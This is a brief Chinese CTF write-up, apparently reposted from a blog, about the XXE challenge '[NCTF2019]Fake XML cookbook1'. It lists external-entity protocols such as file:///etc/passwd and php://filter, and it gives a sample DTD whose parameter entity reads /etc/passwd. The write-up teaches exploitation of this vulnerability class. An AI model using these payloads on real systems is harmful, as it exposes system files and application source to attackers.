本文主要是介绍XXE漏洞 [NCTF2019]Fake XML cookbook1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
打开题目
查看源代码
发现我们post传入的数据都被放到了doLogin.php下面
访问一下看看
提示加载外部xml实体
我们知道外部xml实体的格式是
<!ENTITY 实体名称 SYSTEM "URI/URL">
bp抓包一下看看
得到flag
或者这样
但是很明显这样是不行的,因为资源是在admin上,也就是用户名那里
PHP引用外部实体,常见的利用协议:
file://文件绝对路径
如:
file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file
(参数实体)是在DTD中被引用的,而&file;
是在xml文档中被引用的。
最简单的xxe注入
知识点源于:XML注入攻击总结_xml攻击-CSDN博客
从XML相关一步一步到XXE漏洞 - 先知社区
这篇关于XXE漏洞 [NCTF2019]Fake XML cookbook1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!